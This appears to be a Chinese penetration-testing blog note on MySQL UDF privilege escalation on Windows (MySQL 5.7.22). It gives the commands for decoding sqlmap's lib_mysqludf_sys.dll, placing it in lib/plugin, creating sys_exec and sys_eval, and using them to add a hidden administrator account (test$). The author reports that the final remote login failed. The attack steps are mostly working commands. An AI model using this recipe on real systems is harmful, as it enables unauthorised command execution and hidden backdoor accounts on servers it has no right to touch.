随记(三):一次渗透测试利用UDF提权思路执行命令的姿势

本文记录了一次渗透测试过程中,通过上传WebShell获取system权限后,由于命令执行无回显,转而利用MySQL的sys_exec()和sys_eval()函数执行命令的尝试。在MySQL 5.7.22版本上,通过解码sqlmap的udf.dll文件,上传至lib/plugin目录,并创建sys_exec()和sys_eval()函数。尽管最终远程连接失败,但这种方法在特定情况下可能有效,失败原因可能多样。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一次渗透测试中已上传WebShell,并且是system权限,但是在蚁剑终端输入命令时都没有回显,经过验证,的确是命令执行失败,原因未知。于是尝试用MySQL的sys_exec()或sys_eval()来执行命令,本文旨在随记这一渗透场景所用到的姿势及手法,最后这一渗透思路是失败告捷的。(涉及到UDF提权的姿势)

我遇到的MySQL版本为5.7.22,因为版本大于5.1,udf.dll文件必须放置在MySQL安装目录的lib\plugin文件夹,没有此文件夹就手动创建。

0x01 解码sqlmap自带的udf.dll
python .\cloak.py -d -i C:\Python27\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

解码完成后会在32/64下生成lib_mysqludf_sys.dll文件(所以要查看数据库版本信息,确定MySQL软件的位数)

## 查看数据库版本
show VARIABLES like '%version%'
0x02 查看MySQL路径并上传lib_mysqludf_sys.dll文件
## 获取MySQL路径
select @@basedir

通过蚁剑上传到指定目录(C:/www/xxx/mysql/lib/plugin)
注意:没有/lib/plugin文件夹则手动创建

0x03 创建sys_exec()或sys_eval()函数执行命令
## 创建sys_exec()函数
create function sys_exec returns string soname "lib_mysqludf_sys.dll";
## 创建sys_eval()函数
create function sys_eval returns string soname "lib_mysqludf_sys.dll";

创建成功后再执行命令,如添加用户

## 添加test隐藏用户
select sys_exec('net user test$ 123456 /add')
## 添加隐藏用户至管理组
select sys_exec('net localgroup administrators test$ /add')

Tips1:执行后虽然返回NULL,但是就不代表命令执行失败,还要远程连接来判断一下。
Tips2:使用sys_eval()函数只需要将sys_exec替换即可,思路一样。

最后是远程连接失败的,证明命令执行失败,但不代表此攻击姿势不对,失败的原因有很多,随记文章,不作具体描述。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值